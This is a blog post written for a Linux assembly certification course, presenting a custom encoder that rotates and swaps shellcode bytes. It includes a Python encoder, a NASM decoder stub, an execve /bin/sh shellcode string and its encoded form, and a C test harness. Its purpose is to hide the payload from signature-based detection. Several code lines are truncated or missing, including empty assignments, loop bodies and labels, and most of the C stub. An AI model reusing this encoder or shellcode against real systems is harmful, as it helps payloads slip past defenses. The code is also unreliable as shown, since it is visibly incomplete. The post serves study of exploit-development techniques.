SLAE Assignment 4: Custom Encoder

04 May 2013

This post is about my custom shellcode encoder which I baptised Kaiten Suwappa. It's a simple encoder which rotates and swaps bytes to obfuscate the shellcode. I wrote this as my 4th assignment for the SecurityTube Linux Assembly Expert course.


Github Repository:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-251

Rotation Encoder

I made this simple rotation encoder which I baptized Kaiten-Suwappa (Japanese for rotation swapper). My encoder will take 2 bytes and rotate the first byte right and the second byte left before for a certain count of bytes, it will then displace the bytes by swapping them in pairs. Rolling bytes means we are actually moving all bits in a byte towards the left or right for a certain amount (count in the script). If the bits were to "fall off" they are prepended to the front of the byte. For instance if we have the byte 0xA2:

1010 0010
and we rotate it 2 bits to the left it becomes:
1000 1110
The first two bits on the left have "fallen off" and have been appended to the back while all other bits shifted 2 places to the left. To visualize this a little better: encoder In my encoder, bytes at an uneven index get rotated right and bytes at an even index get rotated left. After they are rotated they are swapped. Byte 1 gets swapped with byte 2, byte 3 with byte 4, byte 5 with byte 6,... . rotated There is a small catch to this as my code needs to have an even amount of bytes. Hence my encoding script will automatically prepend a nop insctruction (0x90) to the shellcode if it has an uneven amount of bytes.

# coding: utf-8
#Author: Lucas Kauffman
#License: GPLv3 (
#our unencoded shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
#if the length is uneven, prepend a nop instruction
if len(shellcode)%2 == 1:
    shellcode = "\x90"+shellcode
#These functions come from Didier Stevens's translate script which can be found on
def rol(byte, count):
    while count > 0:
        byte = (byte << 1 | byte >> 7) &amp; 0xFF
        count -= 1
    return byte
def ror(byte, count):
    while count > 0:
        byte = (byte >> 1 | byte << 7) &amp; 0xFF
        count -= 1
    return byte
#initiate an iterator to iterate all bytes
iterator = iter(bytearray(shellcode))
encodedShellcode = list()
#initiate the boolean to stop iterating list items when none are left
boolean = True
#Iterate the list
#byte1 : rotate to the right for 4 bits
#byte2 : rotate the the left for 2 bits
#place them back in the list on eachother's positions (swap)
while boolean:
        byte1 =
        byte1 = ror(byte1,4)
        byte2 =
        byte2 = rol(byte2,2)
        boolean = False
encodedShellcode2 = list()
#Print everything
for byte in encodedShellcode:
print ''.join(encodedShellcode2)

My decoder in assembly which does the opposite of the encoder:

; Filename: kaiten-suwappa.nasm
; Author:  Lucas Kauffman
; Website:
; License: GPLv3 (
; Software provided without any warranty
global _start           
section .text
    jmp short call_shellcode
    pop esi
    xor ecx, ecx
    ;our shellcode is 26 bytes long but we edit 2 bytes at a time, hence 13 for our loop
    mov cl, 13
    ;move byte2 into al (byte was swapped to index 1)
    mov al, byte  [esi]
    ;move byte1 into bl (byte was swapped to index 2)
    mov bl, byte [esi+1]
    ;rotate byte2 for 2 bits to the right
    ror al,2
    ;rotate byte1 for 4 bits to the left
    rol bl,4
    ;place the bytes back on their original position
    mov byte [esi], bl
    mov byte [esi+1],al
    ;increment esi by 2 to get the other bytes which follow
    add esi,2
    loop decode
    jmp short EncodedShellcode
    call decoder
    EncodedShellcode: db 0xc4,0x9,0x41,0xc,0xbc,0x86,0xcd,0xf2,0xa1,0x86,0x89,0xf2,0xb9,0x96,0x8f,0x98,0x26,0x5,0x4d,0x2e,0x87,0x98,0x2c,0xb,0x2,0xdc

From the nasm file I made an objectdump and put this into the shellcode stub:

unsigned char code[] = \
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;

After compiling and executing: